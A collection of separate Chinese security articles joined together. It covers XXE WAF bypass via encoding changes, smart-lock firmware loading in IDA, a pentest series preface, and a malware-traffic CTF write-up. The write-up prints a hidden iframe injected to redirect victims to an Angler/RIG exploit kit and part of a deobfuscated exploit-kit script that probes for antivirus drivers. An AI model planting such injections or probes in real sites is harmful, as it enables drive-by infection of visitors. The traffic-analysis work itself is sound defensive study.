在上一节中，我们演示了文档的编码通常由其第一个字节指定。但是当包含编码属性的<?xml?>标记引用文档开头的不同字符集时会发生什么？在这种情况下，一些解析器更改编码，使文件的开头有一组字符，其余的是另一组编码。。也就是说，不同的解析器可能在不同的时间转换编码。Java解析器(javax.xml.parsers)在<?xml?>结束后严格地更改字符集，而libxml2解析器可以在执行“编码”属性的值之后或在处理<?xml?>之前或之后切换编码。
只有在根本不处理这些文件时，比较成熟的WAF才能可靠地防止这些文件中的攻击。我们还必须记住，有许多同义词编码，例如UTF-32BE和UCS-4BE。此外，有些编码可能不同，但从编码文档初始部分
`<?xml?>`的角度来看，它们是兼容的。例如，看似UTF-8的文档可能包含字符串`<?xml version=”1.0”
encoding=”windows-1251”?>`。
这里有一些例子。为了简明扼要，我们不把XXE放在文档里。
libxml2解析器将文档视为有效，但是，javax.xml.parsers set中的Java引擎认为它无效：
反之亦然，文档对于javax.xml.parser是有效的，但对于libxml2解析器是无效的：
libxml2的文档，在标记中间将编码从utf-16le更改为utf-16be：
libxml2的文档，编码从utf-8改为ebcdic-us：
正如你所看到的，有许多绕过方法。防止XXE的最好方法是配置应用程序本身，以安全的方式初始化XML解析器。为此，应该禁用两个选项：
外部实体
外部DTD架构
我们将继续我们的研究XXE WAF绕过。敬请关注。
翻译：https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0 | 社区文章 |
**作者：Yimi Hu & Light @ PwnMonkeyLabs
原文链接：<https://mp.weixin.qq.com/s/_-CUaJJnrWlcDuUGVL4x8w>**
## **简介**
经过了前面五篇的学习，想必各位读者已经掌握了一些必要的技能，可以适当的增加一些难度了。在本专题的第六篇以及下一篇文章中，我们将对果加门锁进行分析。
果加的智能门锁大体分为两个系列，其一是家用版智能门锁，其二是公寓版智能门锁。家用版智能门锁通过BLE与手机通信，并通过手机间接与果加云端通信；公寓版门锁通过433MHz与其对应的网关通信，网关与果加云端通信。尽管通信方式不同，但是家用版和公寓版门锁的架构和用到的芯片都是类似的，因此本篇及下一篇文章中，我们重点对家用版门锁的固件进行分析，偶尔提及公寓版门锁。
## **固件分析**
固件，通常是指驱动底层硬件的软件程序，固件直接与硬件打交道，控制硬件实现各种逻辑功能。而在IoT设备中，固件通常包含了RTOS(Real Time
Operating System, 实时操作系统)和应用软件，提供了从底层驱动到高层应用的所有功能。
大部分IoT设备的固件存储在Flash中，在进行分析之前，首先需要设法获取设备固件。
### 2.1 固件获取
家庭版果加智能门锁需要通过使用者的手机间接连接到果加的云端服务器，我们只要监听app的通信数据，就可以发现门锁更新时的固件下载地址，如下图2-1所示。
图2-1 抓取果加家庭版门锁下载地址
上图中的抓包工具是fiddler，鉴于该软件是本专题中第一次出现，所以这里做个简短的介绍。Fiddler是一款由Progress公司开发的免费抓包工具，官网是：<https://www.telerik.com/fiddler>。在众多的抓包工具中，我们认为fiddler的界面比较好看。使用fiddler抓取手机通信时，需要对fiddler进行两处设置，同时对手机也做两处设置，fiddler的两处设置截图如下：
图2-2 fiddler设置
上图中，左侧设置为解密HTTPS通信，右侧设置为允许局域网其他设备连接代理。手机的两处设置截图如下：
图2-3 抓包时手机设置
上图中，左侧设置为添加fiddler的根证书，右侧设置为通过fiddler代理转发通信数据。图中10.0.0.16是运行fiddler的计算机ip，8888是fiddler默认的监听端口。设置完毕之后，就可以抓取手机通信。在本专题的后续文章中，可能涉及到一些证书校验而导致无法抓包的情况，到时我们会更深入地讨论。
相对来讲，公寓版的果加智能门锁要麻烦一些。公寓版的果加智能门锁在433MHz信道与其网关进行无线通信，网关通过有线连接到互联网，进而访问果加云端。我们在交换机上做了一次端口监控，通过分析镜像而来的通信数据找到了固件的下载地址。
图2-4 交换机端口监控
### 2.2 分析准备
通常情况下，我们选择IDA作为固件分析工具，IDA是一款非常卓越的反汇编工具，相信很多人都曾使用过，这里就不做过多的介绍了。不同于Windows程序或者Android程序，IoT设备的固件在开始逆向之前要做一些准备。如果要分析Windows程序，一般都是直接拖到IDA中，IDA会自动识别为PE格式文件，并帮助我们选择好处理器型号等信息(MetaPC)，如下图：
图2-5 IDA自动解析PE文件
而对于IoT设备，IDA无法自动完成上述分析，因为固件往往与IoT设备的底层硬件直接相关，而在底层硬件中MCU(Microcontroller Unit,
微控制单元)是最为关键的一部分，不同MCU会使用不同的指令集、文件系统等。因此，要使用IDA分析固件，必须先确定MCU的相关信息。
正如我们在第二章开头所述，固件一般要包含一个实时操作系统，设备上电后就会引导启动这个RTOS。如果设备是基于嵌入式Linux操作系统运行的，那么就会引导Linux
kernel程序。此时，在固件中还可以发现Linux文件系统，而文件系统中的各个程序将是我们的分析重点。如下图所示：
图2-6 海康威视门锁网关固件
上图中可以看到海康威视智能门锁网关有Squashfs文件系统和JFFS2文件系统，还有U-Boot引导程序等。
如果设备是运行其他RTOS，如FreeRTOS等，那么，此时的固件文件可能就完全是一段编译好的包含代码和数据的可执行文件。我们这次要分析果加智能门锁的固件，就是单纯的一个可执行文件，如下图所示：
图2-7 果加门锁固件内容
为了帮助我们快速辨别固件文件中都有什么，binwalk是个非常好用的工具，其官方的下载地址为：<https://github.com/ReFirmLabs/binwalk>。我们在整理本篇时，发现binwalk的开发团队出了一个商业版binwalk
pro，可以在线分析和提取固件，好像还挺有意思。在图2-6和图2-7中，我们已经展示了binwalk对于固件的分析输出，其中图2-6是海康智能门锁网关的固件内容，本专题的后续文章中会酌情考虑要不要分享一下拿海康智能门锁的案例；在图2-7中，binwalk没有任何输出，说明binwalk无法辨别此固件的内容，实际上这个固件完全是个可执行文件。除此之外，binwalk还可以直接解压提取固件中的内容，但果加智能门锁的固件并没有什么可以提取的内容。
此时，如果是嵌入式Linux操作系统，那么就可以开始分析他文件系统中的关键程序了。IDA可以自动解析出ELF文件格式，然后开始反汇编工作。但是果加智能门锁的固件完全是个单片机程序，那么IDA不能完成自动解析工作，所以我们需要手动指定一些解析信息。
首先我们需要确定MCU使用的指令集，首先通过MCU上刻印的芯片型号(STM32L071)，找到对应的Reference
Manual或Datasheet，通过这些文档可以确定MCU使用了Arm Cortex-M0+内核，该内核采用Armv6-M架构，如下图所示。
图2-8 果加智能门锁的MCU信息
IDA中已经内置了Armv6-M架构的指令集，我们只需要载入文件时做出如下图的配置即可：
图2-9
IDA解析配置
确定了指令集之后，我们还需要设置固件加载地址。熟悉PE结构的读者，肯定知道PE头中有个重定位表。当PE文件的加载地址并非其默认地址时，就需要根据重定位表对PE文件中的全局变量、绝对跳转地址等进行重定位修复。但果加智能门锁这种固件程序，是没有这些复杂的格式，所以如果不能确定代码的加载地址，IDA加载的时候就会出现很多不能解析的跳转和全局变量。通常MCU都会有一块固定的存储区域用于存储代码，这个区域的起始地址就是固件的加载地址，这些信息同样可以在References
Manual或Datasheet中找到。果加智能门锁使用的STM32L071的相关信息如下图所示：
图2-10
STM32L071RZT6内存映射图
上图中显示固件代码会加载到Flash System Memory区域，即0x0800
0000地址之后的内存。那么我们在IDA加载过程中设置ROM起始地址为0x0800 0000，如下图：
图2-11 设置IDA的ROM加载地址
### 2.3 程序分析
上文中已经给IDA指定了解析固件所需要的部分信息，等IDA加载完毕之后，我们发现IDA依旧将其当成一个binary文件，并未解析出任何代码，这是因为IDA不知道该从哪里开始解析。此时我们可以翻看programming
mannual，查到与中断向量表有关的内容，如下图：
图2-12
中断向量表
由上图可知，固件的起始部分应是中断向量表。设备上电之后执行的代码，即Reset复位中断，位于中断描述表中第二项所指的位置，偏移0x4，截图如下：
2-13图 IDA解析中断向量表
跳转到此位置(0x8001BD)，然后按’c’令IDA将此处解析为代码，IDA将解析出大量的代码段和函数。之后，我们就可以开始固件的逆向分析工作了。
图2-14 IDA解析代码
到此，我们已经完成了固件中的指令解析，那么接下来的工作就是理解这些代码的逻辑。这部分内容将会在本专题的下一篇文章中介绍。
## **小结**
本篇中，我们开始了对果加智能门锁的分析。相比于前几篇，对果加智能门锁的分析要更为复杂一些，一方面需要综合运用前几篇中讲到的各种技能和分析方法，另一方面需要我们结合硬件知识对固件代码进行综合分析。本篇中提到的Datasheet、References
Manual、Programming Mannual均可从st官网下载到，地址如下：
<https://www.st.com/zh/microcontrollers-microprocessors/stm32l071rz.html>。到本篇结束时，我们只是刚刚做好了准备工作，真正的分析内容将放到下一篇中与大家分享。
* * * | 社区文章 |
**作者：Micropoor
项目地址：<https://github.com/Micropoor/Micro8>**
渗透攻击超十年，由于年龄，身体原因，自己感觉快要退出一线渗透攻击了。遂打算把毕生所学用文字表写出来。因为文章涉及到敏感的攻击行为，所以好多需要打马赛克，或者是本地以demo的形式表现出来。当这个行业做久了，你也终有一天发现原来事物的本质是如此重要。比如内网渗透的本质是信息搜集。当年某大佬把这条经验传递给我，同样，今天变成老家伙的我，也希望把这条经验传递下去。
文中一定会出现笔误或者不对的地方，请大家多多包涵，提前向各位说声对不起，所有课程从基础开始（包括工具的介绍，应用等，由于是基础开始，部分内容可能会涉及初级知识点，请见谅），这样以后新来的同事或者想要自我从头学习的同事也可以避开一些弯路，在写的过程中，我深深体会到分享者才是学习中的最大受益者，由于需要成文章，所以需要查阅大量的资料。在整个过程中，又学习到很多知识点。连载其中包括穿插在工作中的项目心得笔记，包括但不限制于代码审计，web渗透，内网渗透，域渗透，隧道介绍，日志溯源与暴力溯源等。如果有课程指定需求介绍相关技术的同事（在我技术能力范围之内），请发我的邮箱：[email protected]。在2010-2012年之间一直在写《PHP安全新闻早8点》，但是由于当时的工作原因，就不在写了。这次的所有课程无版权，只希望自己可以在本来已封闭的技术氛围里，依然做出一些技术文档输出。那么这次的教程我想依然想叫《PHP安全新闻早8点》，笔者相信有一天，你会发现原来弄清事物的本质是这样的有趣。
如需指定技术诉求，请留言于下，方便在未来更新的课时中，加入。再次感谢所有读者。
目录结构，请参见Wiki
渗透测试/APT模拟攻击，是一把双刃剑，Micro8系列适用于初中级安全从业人员，乙方安全测试，甲方安全自检，网络安全爱好者等，企业安全防护与提高，该系列遵守：免费，自由，共享，开源。请勿触犯法律，如触犯与本作者无关。当下载/传播/学习等便视为同意该条例。愿读者学有所成,问有所得,静有所思，而私有所惘。
* * * | 社区文章 |
# 流量分析系列之Malware Traffic
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Malware Traffic Analysis-2
流量包：链接：<https://pan.baidu.com/s/19eiablrPPpCwwBi-AX18WA> ，提取码：0098。
### **练习场景**
名为Tom的小伙子在公司网上冲浪时，电脑突然宕机了，随后出现了蓝屏。在公司的网络中捕捉到这样一段流量，请你来分析一下。
### 分析过程
了解了背景之后，进入正题，下载题目提供的压缩包，解压后得到4个文件：
╭─kali@kali ~/c40-malware-traffic-analysis-4
╰─$ tree
.
├── malware-traffic-analysis-4.pcap
├── malware-traffic-analysis-4-snort-events.txt
└── malware-traffic-analysis-4-suricata-events.txt
其中`malware-traffic-analysis-4-snort-events.txt`文件是`Snort`日志文件，`malware-traffic-analysis-4-suricata-events.txt`则是是Suricata日志文件。
### Problem 1
> **What is the victim IP address?**
查看`malware-traffic-analysis-4-snort-events.txt`文件，发现了两条这样的记录：
[**] [1:30320:2] BLACKLIST Connection to malware sinkhole [**]
[Classification: A Network Trojan was detected] [Priority: 1]
11/24-16:16:42.076853 166.78.145.90:80 -> 10.1.25.119:49453
TCP TTL:128 TOS:0x0 ID:6775 IpLen:20 DgmLen:310 DF
***A**** Seq: 0x76295D32 Ack: 0x7F847C95 Win: 0xFF00 TcpLen: 20
[Xref => http://en.wikipedia.org/wiki/Sinkhole_Server]
[**] [1:25018:3] BLACKLIST Connection to malware sinkhole [**]
[Classification: A Network Trojan was detected] [Priority: 1]
11/24-16:16:42.076853 166.78.145.90:80 -> 10.1.25.119:49453
TCP TTL:128 TOS:0x0 ID:6775 IpLen:20 DgmLen:310 DF
***A**** Seq: 0x76295D32 Ack: 0x7F847C95 Win: 0xFF00 TcpLen: 20
[Xref => http://en.wikipedia.org/wiki/Sinkhole_Server]
流量从主机`166.78.145.90`到主机`10.1.25.119`，由此可知，受害主机ip为`10.1.25.119`。
另一种方法，我们可以在wireshark中过滤：
http.request
过滤之后发现请求都是从ip为`10.1.25.119`的主机发出的，如果再过滤`http.response`，可以看到，http响应数据包的目的地地址都是`10.1.25.119`，因此可以判断受害主机IP为`10.1.25.119`。
### Problem 2
> **What is the victim’s hostname?**
识别主机名通常有两种方式：
1. 从DHCP流量中获取主机信息
2. 从NBNS流量中获取主机信息
DHCP流量数据包有助于我们识别连接网络的几乎所有类型计算机的主机；NBNS流量数据包则主要由微软Windows系统计算机或运行MacOS系统的主机生成。
过滤dhcp流量包：
选择source ip为受害主机的dhcp流量包：
得到主机名为`Turkey-Tom`。
不过受DHCP租期更新频率的影响，数据包中可能没有捕获到DHCP流量包。那我们可以使用NBNS流量来识别Windows系统主机或MacOS系统主机。
而且从题目场景中我们可以知道，受害者Tom使用的是一台Windows7的笔记本。所以我们可以用`nbns`来过滤数据包中的NBNS流量。
Source IP皆为受害主机IP，那选择第一条流量数据，可以看到主机名为`TURKEY-TOM`。
### Problem 3
> **What is the exploit kit name?**
为了找到恶意软件，我们可以从流量中提出可疑的文件，在wireshark中，选择`File->Export Objects`，提供了5种文件传输协议：
> * DICOM： Digital Imaging and Communications in
> Medicine，医学数字成像和通信协议，DICOM是基于TCP/IP的网络协议，通过DICOM将影像设备和存储管理设备连接起来。
> * HTTP： HyperText Transfer
> Protocol，超文本传输协议，不用多介绍，是基于TCP协议的应用程传输协议，简单来说就是客户端和服务端进行数据传输的一种规则。
> * IMF：Internet Messafe Format，互联网信息格式，是文本消息在互联网上传输的格式。
> * SMB：ServerMessage Block，信息器服务块，是微软和英特尔在1987年制定的协议，主要作为微软网络的通讯协议。
> * TFTP：Trivial File Transfer
> Protocal，简单文件传输协议，是TCP/IP协议簇中一个用来再客户机与服务器之间进行简单文件传输的协议，提供不复杂，开销不大的文件传输服务。
>
再选择`HTTP`，能够得到通过Http协议传输的文件。
有非常多的文件通过HTTP协议传输，比如图片（image/jpeg），js脚本文件（text/javascript），网页文件（text/html）等，然后选择Save
All，将所有文件都保存下来，然后全部扔进 ClamAV 中进行扫描，扫描了了677个文件后，确实发现了恶意软件：
选择`Anlysis`，我们可以看到可疑的文件是一个名为`who(2).olp%3fsave=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT`的文件：
在wireshark中可以看到，该文件是类型为`application\x-shockwave-flash`的swf文件：
本小题中，exploit kit的名为`Angler`。
除了上面这种方法以外，还可以将pcap包上传到VirusTotal扫描：
Snort和Suricata分别有47条和14条alters，查看详情：
在Snorts警报中发现了Exploit-Kit Angler。
### Problem 4
> **What is the IP address that served the exploit?**
接下来我们需要找到exploit kit的来源ip。
根据wireshark过滤出的文件，我们很容易定位到该文件对应的请求，发现该文件传输是从主机`162.216.4.20`传送到受害主机上的，得到本题答案`162.216.4.20`。
出了这种方法以外，我们还可以从info信息中过滤。info列是没有filter选项的，它是wireshark根据网络包内容生成的概要信息。我们可以这样过滤，首先进行搜索，`Ctrl+f`，注意在前面的搜索类型中修改为`String`，然后我们搜索关键词，比如`who.olp`：
我们得到这样一条信息，受害主机`10.1.25.119`向主机`162.216.4.20`发送请求，对应的请求URI为：
http://neuhaus-hourakus.avelinoortiz.com/who.olp?save=&effect=VFv9cHM&you=LmzXy&picture=J0sYyqN&why=Dv0ZsHPosOWnZsEC9KJ9myAYKZSGT
在该条流量的不远处，能找到来自主机`162.216.4.20`的响应：
packet num 10960的数据包是受害主机向`162.216.4.20`发起请求，packet
num为11089的数据包是主机`162.216.4.20`返回恶意软件给受害主机`10.1.25.119`。
### Problem 5
> **What is the HTTP header that is used to indicate the flash version?**
从上题分析中我们已经知道，packet num 11089，恶意软件所在主机返回封装在swf文件中的恶意软件给受害者，所以这个flash
version也应当与该包相关，查看该数据包：
追踪该数据包的HTTP流，右键`Follow->HTTP Stream`，根据上图的关键词定位到该数据包：
该响应数据包对应的请求包中，可以看到与flash version相关的请求头为`x-flash-version`。
### Problem 6
> **What is the malicious URL that redirects to the server serving the
> exploit?**
这个问题是，Tom访问Exploit Kit的主机地址时，是从哪个URL跳转过去的？
在这里我们需要先了解一下，用户一般是怎么被Exploit-Kit（后面简称EK）感染的。
Exploit-Kit通常被攻击者利用用来感染受害用户，可能在用户浏览网站的时候，在不知不觉间，就被EK感染。EK通常托管在专用于提供EK的服务器上。而用户如何访问到这些EK？通常是通过被感染的网站发生的。攻击者首先攻击感染合法网站，向这些被感染的网站页面注入恶意脚本，这些脚本能将用户导到提供EK的服务器上。当然这些都是在用户不知情的情况下发生的。
在最简单的场景下，攻击链一般是这样的：
> **_Compromised(legitimate) website — > EK server_**
除了这种最简单的情况，很多时候，攻击者还会使用另一台服务器作为被感染的站点和EK服务器之间的gate。我们通常将这种情况称为 **redirect**
，因为它将流量从一个被感染的主机重定向到了EK服务器，当存在一个gate服务器的时候，攻击链是这样的：
> **_Compromised website — > Gate —> EK_**
这个gate服务器通常是另一个被感染的website。当然，也有少数情况下，这个gate是攻击者自己搭建的专用服务器。在某些情况下，在到达EK之前，可能还存在2个或是3个gate：
> **_Compromised website — > First gate —> Second gate —> EK_**
好了，回到这个流量包本身，我们需要回答的问题是，受害者Tom是如何访问到EK服务器`162.216.4.20`的？
无非是两种情况：第一种，Tom访问了受感染的网站，然后受感染的网站利用脚本将Tom导向EK站点；第二种，Tom访问了受感染的网站，然后通过一个或多个gate，将Tom导向EK站点。
现在我们已经知道的是IP为`162.216.4.20`的站点，对应的domain为`neuhaus-hourakus.avelinoortiz.com`：
http.request and ip.addr eq 162.216.4.20
我们搜索与该域名相关的流量：
ip contains neuhaus-hourakus.avelinoortiz.com
按照时间排序，我们注意到一条流量是从`85.143.220.17`到受害主机的，这看起来像是一条gate相关的流量：
我们跟踪该条流量的TCP流，右键`Follow->TCP Stream`：
从这条流量得知，Tom访问了IP为`85.143.220.17`（域名为`solution.babyboomershopping.org`）的站点，访问的URL为`http://solution.babyboomershopping.org/respondents/header.js`，该站点中存在一个iframe页面，该页面嵌入了EK
server的URL，使得Tom在不知情的情况下被EK server上的Exploit-Kit Angler感染。
所以，本题的答案为：
http://solution.babyboomershopping.org/respondents/header.js
### Problem 7
> **What is The CAPEC ID corresponding to the technique used to redirect the
> victim to the exploit server? More info at capec.mitre.org**
本题的问题是，攻击者是用什么技术将受害用户重定向到EK服务器的，它的CAPEC ID是什么？
经过Problem 6的分析，我们已经知道，攻击者在受害者访问的页面中嵌入了一个iframe，该iframe的参数为：
<iframe style="position:absolute;left:-3311px;top:-3861px;width:309px;height:326px;" src="http://neuhaus-hourakus.avelinoortiz.com/forums/viewforum.php?f=15&sid=0l.h8f0o304g67j7zl29"></iframe>
因为其位置参数设置得很夸张，所以用户根本察觉不到存在frame劫持的情况。
不过，本题问题的求的是CAPEC ID，是一种漏洞标准，全称为Common Attack Pattern Enumeration and
Classification，即 **常见攻击模式枚举和分类** 。
所以，本题的答案为`CAPEC-222`，对应的attack pattern即为`iFrame
Overlay`，属于点击劫持的一种分类。更加具体的细节可以参考：<https://capec.mitre.org/data/definitions/222.html>
。
### Problem 8
> **What is the FQDN of the compromised website?**
本题的问题是，受感染的网站的完全限定域名是什么？
到目前为止，我们还没有找到Tom上网时感染的源头是什么，他到底访问了什么站点导致他的主机被感染？
我们继续过滤，看看什么流量中包含gate站点：
ip contains solution.babyboomershopping.org
在一条从IP
`64.34.173.208`到受害主机`10.1.25.119`的流量中，包含`solution.babyboomershopping.org`，跟踪该条TCP流：
由此我们得知，本题的答案，compromised
website的完全限定域名为`shotgunworld.com`。攻击者采用了相同的frame劫持的方法，通过iframe将受害者重定向至gate站点`solution.babyboomershopping.org`，通过这个中间站点再将用户重定向至EK服务器。所以整条attack链为：
> **_shotgunworld.com — > solution.babyboomershopping.org —> EK server_**
### Problem 9
> **The compromised website contains a malicious js that redirect the user to
> another website. What is the variable name passed to the “document.write”
> function?**
>
> Hint：OX_
这道题的答案很简单，从上题追踪到的TCP Stream知道，iframe是当页面加载的时候，执行js，然后将iframe写入页面的：
所以本题的答案为`OX_7f561e63`。
该流量包的分析就暂时到此为止了。
## Malware Traffic Analysis-2
流量包：<https://pan.baidu.com/s/1kwtP7NQvYvLQ9b82cJtIgQ> ，提取码：0099。
这道题没什么场景，一上来就给了一个pcap数据包，以及几个问题，直接开始分析！
### 分析过程
### Problem 1
> **What is the IP address of the Windows VM that gets infected?**
首先，第一道题就是求被感染主机的IP。在没有任何场景提示的情况下，一拿到流量包就要分析，还是先送到VirusTotal上扫描，扫描结果显示这个数据包还是有点东西的，其中包括11条Snort
alerts和23条Suricata alerts：
查看更详细的分析，看来受害主机是被Exploit-Kit感染了的：
既然存在木马文件，那么拖入数据包分析神器Brim看看。拖入Brim后，发现有很多files：
很容易就和Exploit-Kit联系起来，过滤出所有files流量：
_path=files
所以的destination ip全是`172.16.165.165`：
在wireshark中进行过滤：
http.request
数据包源IP地址都是`172.16.165.165`。也可以过滤：
http.response
得到的结果也在预料之中，目的地址都是`172.16.165.165`：
得到本题答案：受害主机IP为`172.16.165.165`。
### Problem 2
> **What is the hostname of the Windows VM that gets infected?**
查找主机名只要过滤出dhcp流量即可，我们选择第一条源地址为受害主机的dhcp流量：
很容易得到主机名为`K34EN6W3N-PC`。当然，因为是Windows主机，还可以过滤`nbns`流量来获取主机名：
### Problem 3
> **What is the MAC address of the infected VM?**
求受害主机的MAC地址很简单，只要和受害主机IP相关的流量中都能提取出该条信息，比如我们过滤：
ip.src==172.16.165.165
当然，也可以过滤ARP流量，查看发起ARP广播的相关信息：
得到本题答案：受害主机MAC地址为：`f0:19:af:02:9b:f1`。
### Problem 4
> **What is the IP address of the compromised web site?**
从VirusTotal的扫描结果看，受害主机是在网上冲浪时被感染了Exploit-Kit，但是具体是怎么感染的我们还不清楚。但是从受害主机发出的http请求中，我们大概可以得到compromised website的候选站点：
分别是：
IP | Host
---|---
82.150.140.30 | www.ciniholland.nl
185.53.178.9 | adultbiz.in
188.225.73.100 | 24corp-shop.com
37.200.69.143 | stand.trustandprobaterealty.com
我们先从流量包中提取出恶意软件，选择`File->Export Objects->HTTP`：
选择`Save All`将这些文件全部提取保存在文件夹中，然后一起拖入扫描软件Clam中检查：
从该流量包中提取出了37个文件，经过Clam扫描，发现了4个恶意软件，分别选择上面的四个文件，然后选择`Analysis`选项，就能逐个得到可以的源文件。最后发现是这4个可疑文件被扫描出：
index.php%3freq=swf&num=809&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
index.php%3freq=swf&num=7533&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
index.php%3freq=jar&num=3703&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7CZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
index.php%3freq=jar&num=9229&PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7CZDJiZjZiZjI5Yzc5OTg3MzE1MzJkMmExN2M4NmJiOTM
从中提取出关键信息：
req=swf&num=809
req=swf&num=7533
req=jar&num=3703
req=jar&num=9229
虽然不清楚这几串请求中`num`参数带的数字是什么意义，但是至少我们可以知道malware的格式分别为是swf格式的flash文件和jar包：
接着从中过滤出与这四条请求相关的http流量：
ip contains "req=swf&num=809" or ip contains "req=swf&num=7533" or ip contains "req=jar&num=3703" or ip contains "req=jar&num=9229"
顺利返回4条记录，这4条记录的目的地址IP都是`37.200.69.143`，对应域名为`stand.trustandprobaterealty.com`：
由此我们可以知道，提供感染受害主机的Exploit-Kit是由主机`stand.trustandprobaterealty.com`提供的，它就是Exploit-Kit感染链中的提供EK的主机 **EK
server** 。
现在我们找到了攻击链中的最后一个设备 **EK server** ，不过本题需要找的是攻击链中的第一环节，即 **Compromised website**
。
当然我们还不知道这中间是不是存在一些gate traffic。不过在一般场景中，攻击链无非是：
> **_Compromised(legitimate) website — > EK server_**
>
> **_Compromised website — > Gate —> EK_**
>
> **_Compromised website — > First gate —> Second gate —> EK_**
>
> **_Compromised website — > First gate —> Second gate —> n… gate —> EK_**
我一开始的想法是看看EK server是不是还存在于其他主机与受害主机的通讯流量中，所以进行过滤：
ip contains stand.trustandprobaterealty.com
但是返回的结果表明该domain仅在受害主机和EK server之间的流量中存在：
没关系，前面我们过滤出4条与Exploit-Kit和malware相关的流量：
ip contains "req=swf&num=809" or ip contains "req=swf&num=7533" or ip contains "req=jar&num=3703" or ip contains "req=jar&num=9229"
右键追踪HTTP流，在受害主机向EK
server（`stand.trustandprobaterealty.com`）的HTTP请求包中，数据包请求头header中的`Referer`字段是`http://24corp-shop.com`，4个受害主机向EK
server请求恶意软件的请求数据包的header中都包含相同的Referer字段（当然受害者自己本人大概率是不知道的，除非他要已经知道恶意站点的情况，只是进行研究）：
所以我们知道了在EK server之前的gate是`24corp-shop.com`，对应IP为`188.225.73.100`。我们得到的额外信息是，在EK
server返回的响应包中，恶意数据是通过`gzip`的格式传输的。
攻击链更新为：
> **_unknown Compromised website — > … gate —> gate [24corp-shop.com] —> EK
> server [stand.trustandprobaterealty.com]_**
过滤出`24corp-shop.com`相关的http流量：
http.request and ip.addr==188.225.73.100
右键跟踪HTTP流，该请求数据包请求头中`Referer`字段为`http://www.ciniholland.nl`，对应IP为`82.150.140.30`：
并且gate搭建了一个假的页面来欺骗访问的用户，采用的攻击方法是iframe劫持。
继续向前追溯，过滤与`www.ciniholland.nl`相关的http请求：
http.request and ip.addr==82.150.140.30
选择第一条请求主站点的数据流，追踪数据流：
我们看到，同样是利用frame劫持的手段，不过该隐形iframe是通过js写入的，当文档被完全加载和解析后，就会执行`showBrowVer()`函数，该函数会创建一个`div`标签，然后在该标签中写入iframe，将用户重定向至gate服务器，而且为了防止此处执行`showBrowVer()`失败，攻击者在页面的最后也放了相同的函数来保证用户能够被重定向至恶意软件所在的服务器：
而且从该条流量我们也能够发现，`Referer`字段为`http://www.bing.com/search?q=ciniholland.nl&qs=ds&form=QBLH`：
到这里，整个流量指向的事件已经很清楚了，是受害主机的用户在www.biying.com
上搜索到了一个受攻击者感染的网站，并且访问了该网站，然后该网站通过frame劫持将受害者用户重定向至`24corp-shop.com`，在这个充当gate的站点中，同样存在一个不可见的iframe将用户重定向至Exploit
Kit和malware存在的站点`stand.trustandprobaterealty.com`，所以整个访问过程为：
> **_Compromised website [www.ciniholland.nl] — > gate [24corp-shop.com] —> EK
> server [stand.trustandprobaterealty.com]_**
用IP地址来表示为：
> **_82.150.140.30 — > 188.225.73.100 —> 37.200.69.143_**
我们得到本题的答案：`82.150.140.30`。
### Problem 5
> **What is the FQDN of the compromised website?**
上一道题已经分析过，compromised website的完全限定域名为`ciniholland.nl`。
### Problem 6
> **What is the IP address of the server that delivered the exploit kit and
> malware?**
本题求提供Exploit-Kit和malware的主机，前面第4题已经分析过了，本题答案为`37.200.69.143`。
### Problem 7
> **What is the FQDN that delivered the exploit kit and malware?**
求EK server的完全限定域名，答案为`stand.trustandprobaterealty.com`。
### Problem 8
> **What is the redirect URL that points to the exploit kit (EK) landing
> page?**
前面分析过，对`http://24corp-shop.com/`相关的http流量追踪流，就能发现该页面中包含的iframe会加载EK服务器上的页面：
本题答案为： <http://24corp-shop.com/> 。
### Problem 9
> **Other than CVE-2013-2551 IE exploit, another application was targeted by
> the EK and starts with “J”. Provide the full application name.**
在Clam中的扫描结果显示，从流量包中提取出的37个文件中包含4个malware：
其中`Swf.Exploit.Rig`属于Rig组件，对应`CVE-2013-2551`：
那剩余的自然是malware自然是打包后的jar包，因此本题答案为：`Java`。
### Problem 10
> **How many times was the payload delivered?**
本题的问题是，payload一共被传递了几次？也就是EK server一共向受害主机发送了几次payload，过滤出EK
server向受害主机发送的http流量：
http.response and ip.src eq 37.200.69.143
其中有一种类型为`x-msdownload`，google之后，发现该MIME类型通常是表示一个dll类型：
而且，追踪该条数据流，我们发现了
这显然是混淆后的代码，在<https://lelinhtinh.github.io/de4js/> 简单地反混淆后，得到：
var as4442 = "asd5645fsdfs6201042433028275342403746df";
function uffe45(txt) {
var gf541 = new ActiveXObject("Micros" + "oft.XM" + "LDOM");
gf541.async = true;
gf541.loadXML('<!DOCT' + 'YPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "res://' + txt + '">');
if (gf541.parseError.errorCode != 0) {
var err = "Error Code: " + gf541.parseError.errorCode + "\ n";
err += "Error Reason: " + gf541.parseError.reason;
err += "Error Line: " + gf541.parseError.line;
if (err.indexOf("-2147023083") > 0) {
return 1;
} else {
return 0;
}
}
return 0;
}
var as71 = "asdddsd76fsfs9840944044952441332557df";
function gr34s(ygr) {
var yre23 = new Date().getTime(),
c = true;
while (c) {
if ((new Date().getTime() - yre23) > ygr) {
c = false;
break;
}
}
}
for (var l = 0; l < 50; l++) {
asfgsdg = "c:\\wi" + "ndows\\syst" + "em32\\drive" + "rs\\tmac" + "tmon.sys";
asfhj65 = "c:\\win" + "dows\\syste" + "m32\\driv" + "ers\\tmco" + "mm.sys";
bsdfdfg = "c:\\wind" + "ows\\syste" + "m32\\driver" + "s\\tmev" + "tmgr.sys";
dfgdfgq = "c:\\win" + "dows\\system" + "32\\drive" + "rs\\TME" + "BC32.sys";
sdfsdhj = "c:\\wind" + "ows\\system32\\dr" + "ivers\\tmee" + "xt.sys";
fdg565f = "c:\\windo" + "ws\\syst" + "em32\\dri" + "vers\\tmnc" + "iesc.sys";
